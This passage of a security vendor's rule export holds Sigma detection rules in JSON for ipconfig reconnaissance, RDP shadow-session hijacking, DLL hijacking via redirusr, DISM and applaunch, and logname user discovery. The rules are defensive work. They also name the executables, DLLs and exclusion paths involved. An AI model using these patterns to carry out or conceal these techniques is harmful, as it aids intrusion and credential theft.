'?:\\WindowsAzure\\Packages\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\Packages_*\\Telemetry\\WindowsAzureTelemetryService.exe'\n            - '?:\\WindowsAzure\\Packages_*\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\Packages_*\\WaAppAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\GuestAgent\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\WindowsAzureGuestAgent.exe'\n            - '?:\\WindowsAzure\\GuestAgent_*\\WaAppAgent.exe'\n            - '?:\\WindowsAzure\\Packages\\WaAppAgent.exe'\n            - '?:\\Windows\\System32\\CompatTelRunner.exe'\n\n    exclusion_grandparent:\n        GrandparentImage:\n            - '*\\Microsoft SQL Server\\MSSQL??.MSSQLSERVER\\MSSQL\\Binn\\sqlservr.exe'\n            - '*\\Microsoft SQL Server\\MSSQL??.VIVA\\MSSQL\\Binn\\sqlservr.exe'\n            # C:\\Users\\xxxx\\AppData\\Local\\Temp\\ESETLogCollector64_4212.exe\n            - '*\\AppData\\Local\\Temp\\ESETLogCollector??_*.exe'\n            - '*\\AppData\\Local\\Programs\\oz-client\\Poly Lens.exe'\n\n    exclusion_explorer1:\n        ParentImage: '?:\\Windows\\explorer.exe'\n        GrandparentImage: '?:\\Windows\\System32\\userinit.exe'\n\n    exclusion_explorer2:\n        ParentImage:\n            - '?:\\Windows\\System32\\cmd.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_explorer3:\n        ParentImage:\n            - '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n            - '?:\\Program Files\\WindowsApps\\Microsoft.PowerShell_*\\pwsh.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        GrandparentImage: '?:\\Program Files\\WindowsApps\\Microsoft.WindowsTerminal_*\\WindowsTerminal.exe'\n\n    exclusion_cisco_webex:\n        # Cisco Webex\n        ParentImage|endswith: '\\webexmta.exe'\n        GrandparentImage|endswith:\n            - '\\atmgr.exe'\n            - '\\ptoneclk.exe'\n\n    exclusion_ocs_inventory:\n        CommandLine|endswith: ' /displaydns'\n        ParentImage|endswith: '\\powershell.exe'\n        ParentCommandLine|contains|all:\n            - 'OCS Inventory Agent'\n            - 'Saas.ps1'\n        GrandparentImage|endswith: '\\cmd.exe'\n        GrandparentCommandLine|contains|all:\n            - 'OCS Inventory Agent'\n            - 'Saas.ps1'\n\n    exclusion_ad_health_adfs_agent:\n        # C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoExit -Command &{write-host Executing Elevated PowerShell Command: Register-AzureADConnectHealthADFSAgent; import-module $env:ProgramW6432\\Azure` Ad` Connect` Health` Adfs` Agent\\PowerShell\\AdHealthAdfs; Register-AzureADConnectHealthADFSAgent}\n        ParentCommandLine|contains: 'Register-AzureADConnectHealthADFSAgent'\n\n    exclusion_commvault_diagnostics:\n        # D:\\APP\\Commvault\\ContentStore\\Base\\sendLogFiles.exe\n        - GrandparentImage|endswith:\n            - '\\CvDiagnostics.exe'\n            - '\\Commvault\\ContentStore\\Base\\sendLogFiles.exe'\n        # C:\\Windows\\system32\\cmd.exe /c IPCONFIG /ALL >> \"E:\\APP\\Commvault\\iDataAgent\\JobResults\\Support_5536_7640_1635426317\\1635426317_1dd8_SystemConfig.txt\"\n        # C:\\Windows\\system32\\cmd.exe /c IPCONFIG /ALL >> \"E:\\APP\\iDataAgent\\JobResults\\Support_6116_16112_1635426317\\1635426317_3ef0_SystemConfig.txt\"\n        - ParentCommandLine|contains: '\\iDataAgent\\JobResults'\n\n    exclusion_netsh:\n        ParentImage: '?:\\Windows\\System32\\netsh.exe'\n        ParentCommandLine|contains: 'wlan show wlanreport'\n\n    exclusion_neovacom:\n        ParentImage: '?:\\Neovacom\\eai\\ext\\\\*\\bin\\java.exe'\n        GrandparentImage: '?:\\Neovacom\\eai\\ext\\bin\\wrapper.exe'\n\n    # Cortana search bar\n    exclusion_cortana:\n        ParentImage: '?:\\Windows\\System32\\sihost.exe'\n        GrandparentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s UserManager'\n\n    exclusion_azure_networkwatcher:\n        ParentCommandLine: '?:\\Windows\\System32\\cmd.exe /c ipconfig /all >> config\\\\*.txt'\n        GrandparentCommandLine: '?:\\Windows\\system32\\cscript.exe ?:\\Windows\\system32\\gatherNetworkInfo.vbs'\n\n    exclusion_oracle:\n        GrandparentCommandLine|contains: 'oracle.sysman.db.discovery.plugin'\n        GrandparentImage|endswith: '\\perl.exe'\n\n    exclusion_anaconda:\n        ParentImage|endswith:\n            - '\\Anaconda\\python.exe'\n            - '\\Anaconda\\pythonw.exe'\n            - '\\Anaconda3\\python.exe'\n            - '\\Anaconda3\\pythonw.exe'\n            - '\\Anaconda\\envs\\\\*\\python.exe'\n            - '\\Anaconda\\envs\\\\*\\pythonw.exe'\n            - '\\Anaconda3\\envs\\\\*\\python.exe'\n            - '\\Anaconda3\\envs\\\\*\\pythonw.exe'\n        ParentCommandLine|contains: 'spyder'\n\n    exclusion_anaconda_2:\n        Ancestors|contains:\n            - '\\Anaconda\\python.exe|'\n            - '\\Anaconda\\pythonw.exe|'\n            - '\\Anaconda3\\python.exe|'\n            - '\\Anaconda3\\pythonw.exe|'\n            - '\\Anaconda\\envs\\\\*\\python.exe|'\n            - '\\Anaconda\\envs\\\\*\\pythonw.exe|'\n            - '\\Anaconda3\\envs\\\\*\\python.exe|'\n            - '\\Anaconda3\\envs\\\\*\\pythonw.exe|'\n\n    exclusion_maxhub:\n        GrandparentCommandLine: '?:\\Users\\\\*\\AppData\\Roaming\\Screenshare\\Bundle\\Maxhub.exe'\n\n    exclusion_hospitalis:\n        ProcessAncestors|startswith:\n            - '?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\wscript.exe|?:\\Windows\\System32\\svchost.exe|'\n            - '?:\\Windows\\System32\\cmd.exe|?:\\Windows\\System32\\wscript.exe|?:\\Windows\\System32\\taskeng.exe|'\n        GrandparentCommandLine|contains|all:\n            - '\\Hospitalis\\'\n            - 'Transfert_FTP_Hospitalis.vbs'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dc40e7d9-a996-45bf-a2ae-f8caf1816852",
+  "rule_name": "Ipconfig Execution",
+  "rule_description": "Detects the execution of ipconfig.exe, a legitimate Windows utility used to gather network interface information.\nAdversaries may execute ipconfig.exe to collect network information for reconnaissance or data exfiltration purposes.\nIt is recommended to investigate the source and context of ipconfig.exe execution and correlate this alert with other discovery activities.\n",
+  "rule_creation_date": "2021-05-17",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dc440cf6-da0d-4e1d-b6cd-f8bebbf66176",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077124Z",
+  "creation_date": "2026-03-23T11:45:34.077126Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077130Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing",
+    "https://swarm.ptsecurity.com/remote-desktop-services-shadowing/",
+    "https://attack.mitre.org/techniques/T1563/002/"
+  ],
+  "name": "t1563_002_rdp_shadow_session_via_shadow.yml",
+  "content": "title: RDP Shadow Session via Shadow Utility\nid: dc440cf6-da0d-4e1d-b6cd-f8bebbf66176\ndescription: |\n    Detects a command-line containing parameters for the Shadow RDP Client (shadow.exe), to log into an RDP Shadow Session.\n    This action may or may not trigger an authorization pop-up, according to how the target machine is configured.\n    This can be used by attackers to spy or hijack an user's RDP session, as a means of acquiring credentials or moving laterally through the network.\n    To investigate this action, you can check the following registry value in the target machine: \"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Terminal Services\"\n    0 - No remote control allowed;\n    1 - Full Control with user's permission;\n    2 - Full Control without user's permission;\n    3 - View Session with user's permission;\n    4 - View Session without user's permission.\n    This can also be allowed through group policy.\n    This may be a legitimate action from a tech support team.\nreferences:\n    - https://blog.bitsadmin.com/spying-on-users-using-rdp-shadowing\n    - https://swarm.ptsecurity.com/remote-desktop-services-shadowing/\n    - https://attack.mitre.org/techniques/T1563/002/\ndate: 2023/08/25\nmodified: 2025/03/27\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1563.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Shadow\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'shadow.exe'\n        CommandLine|contains: ' ?server'\n\n    exclusion_systancia:\n        GrandparentImage:\n            - '?:\\Program Files\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\LaunchShadow64.exe'\n            - '?:\\Program Files (x86)\\Systancia\\AppliDis\\AppliDis Serveur\\bin\\LaunchShadow64.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dc440cf6-da0d-4e1d-b6cd-f8bebbf66176",
+  "rule_name": "RDP Shadow Session via Shadow Utility",
+  "rule_description": "Detects a command-line containing parameters for the Shadow RDP Client (shadow.exe), to log into an RDP Shadow Session.\nThis action may or may not trigger an authorization pop-up, according to how the target machine is configured.\nThis can be used by attackers to spy or hijack an user's RDP session, as a means of acquiring credentials or moving laterally through the network.\nTo investigate this action, you can check the following registry value in the target machine: \"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Terminal Services\"\n0 - No remote control allowed;\n1 - Full Control with user's permission;\n2 - Full Control without user's permission;\n3 - View Session with user's permission;\n4 - View Session without user's permission.\nThis can also be allowed through group policy.\nThis may be a legitimate action from a tech support team.\n",
+  "rule_creation_date": "2023-08-25",
+  "rule_modified_date": "2025-03-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1563.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dc52ce55-3228-42fd-9d4d-b5e511c28a9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602030Z",
+  "creation_date": "2026-03-23T11:45:34.602033Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602041Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_redirusr.yml",
+  "content": "title: DLL Hijacking via redirusr.exe\nid: dc52ce55-3228-42fd-9d4d-b5e511c28a9b\ndescription: |\n    Detects potential Windows DLL Hijacking via redirusr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'redirusr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dc52ce55-3228-42fd-9d4d-b5e511c28a9b",
+  "rule_name": "DLL Hijacking via redirusr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via redirusr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dcacfe01-86ff-4919-826c-7eceb4b2233b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595037Z",
+  "creation_date": "2026-03-23T11:45:34.595041Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595049Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cofense.com/exploiting-unpatched-vulnerability-ave_maria-malware-not-full-grace/",
+    "https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dism.yml",
+  "content": "title: DLL Hijacking via DIS.exe\nid: dcacfe01-86ff-4919-826c-7eceb4b2233b\ndescription: |\n    Detects potential Windows DLL Hijacking via DIS.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://cofense.com/exploiting-unpatched-vulnerability-ave_maria-malware-not-full-grace/\n    - https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'DISM.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dismcore.dll'\n            - '\\version.dll'\n            - '\\wimgapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dcacfe01-86ff-4919-826c-7eceb4b2233b",
+  "rule_name": "DLL Hijacking via DIS.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via DIS.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dcb1a0c4-a1b3-4296-879e-423ee2d61e72",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081424Z",
+  "creation_date": "2026-03-23T11:45:34.081426Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081430Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://www.secureworks.com/research/shadowpad-malware-analysis",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_applaunch.yml",
+  "content": "title: DLL Hijacking via applaunch.exe\nid: dcb1a0c4-a1b3-4296-879e-423ee2d61e72\ndescription: |\n    Detects potential Windows DLL Hijacking via applaunch.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://www.secureworks.com/research/shadowpad-malware-analysis\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'applaunch.exe'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\mscoree.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\Microsoft.NET\\Framework\\v*\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dcb1a0c4-a1b3-4296-879e-423ee2d61e72",
+  "rule_name": "DLL Hijacking via applaunch.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via applaunch.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dcdd8674-3f5e-4d34-b37d-c24938f23b0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617792Z",
+  "creation_date": "2026-03-23T11:45:34.617794Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617798Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/north-korea-supply-chain/?hl=en",
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_logname_unsigned_parents.yml",
+  "content": "title: Users Discovered via Logname by an Unsigned Process\nid: dcdd8674-3f5e-4d34-b37d-c24938f23b0a\ndescription: |\n    Detects the execution of logname by an unsigned process.\n    Adversaries may attempt to identify the primary user, currently logged-in user, set of users that commonly use a system, or whether a user is actively using the system.\n    It is recommended to check for other suspicious activity by the parent process.\nreferences:\n    - https://cloud.google.com/blog/topics/threat-intelligence/north-korea-supply-chain/?hl=en\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2024/09/26\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '/logname'\n\n    selection_unsigned:\n        - ProcessParentSigned: 'false'\n        - ProcessGrandparentSigned: 'false'\n\n    condition: selection and 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dcdd8674-3f5e-4d34-b37d-c24938f23b0a",
+  "rule_name": "Users Discovered via Logname by an Unsigned Process",
+  "rule_description": "Detects the execution of logname by an unsigned process.\nAdversaries may attempt to identify the primary user, currently logged-in user, set of users that commonly use a system, or whether a user is actively using the system.\nIt is recommended to check for other suspicious activity by the parent process.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dce8900d-6bdc-42c6-ab73-04731d439106",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295908Z",
+  "creation_date": "2026-03-23T11:45:35.295911Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295918Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://en.hackndo.com/kerberoasting/",
+    "https://github.com/GhostPack/Rubeus/",
+    "https://attack.mitre.org/techniques/T1558/"
+  ],
+  "name": "t1558_kerberos_traffic_from_unusual_process.yml",
